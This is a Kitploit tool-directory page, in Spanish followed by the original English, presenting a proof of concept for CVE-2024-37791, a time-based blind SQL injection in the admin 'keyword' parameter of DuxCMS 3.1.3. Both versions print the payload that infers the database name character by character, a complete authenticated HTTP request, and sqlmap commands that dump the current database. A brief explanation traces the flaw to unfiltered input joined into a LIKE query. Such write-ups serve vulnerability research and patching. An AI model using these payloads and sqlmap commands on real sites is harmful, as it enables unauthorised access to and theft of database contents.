Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37791 — Explotación de prueba de concepto para una vulnerabilidad de inyección SQL ciega basada en tiempo en DuxCMS3.1.3, dirigida al parámetro 'keyword' con solicitudes autenticadas e integración con sqlmap. | Kitploit
Herramientas/GitHubGitHub/czheisenberg/cve-2024-37791
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubczheisenberg/cve-2024-37791

CVE-2024-37791

Explotación de prueba de concepto para una vulnerabilidad de inyección SQL ciega basada en tiempo en DuxCMS3.1.3, dirigida al parámetro 'keyword' con solicitudes autenticadas e integración con sqlmap.

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-37791

CVE-2024-37791

Dirección del proyecto: ****

Preparación:

Iniciar sesión en el backend - obtener cookie

URL de la vulnerabilidad:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Parámetro vulnerable: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Si la inyección tiene éxito, el retraso es superior a un segundo; de lo contrario, no hay retraso.

Verificación con sqlmap:

PoC

Se requiere cookie.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

Se obtuvo el nombre de la base de datos en uso actualmente. Esta vulnerabilidad existe.

Código de la vulnerabilidad:

Buscando desde el parámetro de inyección: keyword permite localizar la llamada.

app/system/admin/SystemExtendAdmin.php

Línea: 42.

Se utiliza like para coincidencia difusa y no se filtra $value, por lo que se genera la vulnerabilidad en la consulta.

Al introducir: and(select*from(select sleep(3))a//union//select 1)=

Como se muestra en la figura anterior: el parámetro $value se obtiene de la línea 29 $pageParams = request(); de la solicitud, y luego la línea 32 decodifica $pageParams[$key] con urldecode() obteniendo nuestra sentencia SQL maliciosa. No hay medidas de defensa.

Por lo tanto, se concatenó directamente el payload.

Después de la ejecución, la sentencia SQL completa es:

(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')


Sql injection exists in DuxCMS3.1.3 background (time blind injection)

Preparatory work:

Log in to the backend-get cookie.

Vulnerability URL:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Vulnerability parameter: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

If the injection is successful, the delay is more than one second, otherwise there is no delay.

Sqlmap authentication:

Poc.

Cookie is required.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

The name of the currently used database was successfully obtained.

This vulnerability exists.

Vulnerability code:

Retrieving from the injection parameter: keyword can locate the call location.

App/system/admin/SystemExtendAdmin.php.

Line 42.

There is a vulnerability in the query because it uses like for fuzzy matching and does not filter $value.

When entering: and (select*from (select sleep (3)) a//union//select 1) =

As shown in the figure above: the $value parameter is obtained from line 29$ pageParams = request (); request request, and then line 32 decodes $pageParams [$key] with urldecode () to get our malicious sql statement.

There are no defenses.

So the payload is spliced directly.

After execution, the complete sql statement is:

(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')

Descargar herramienta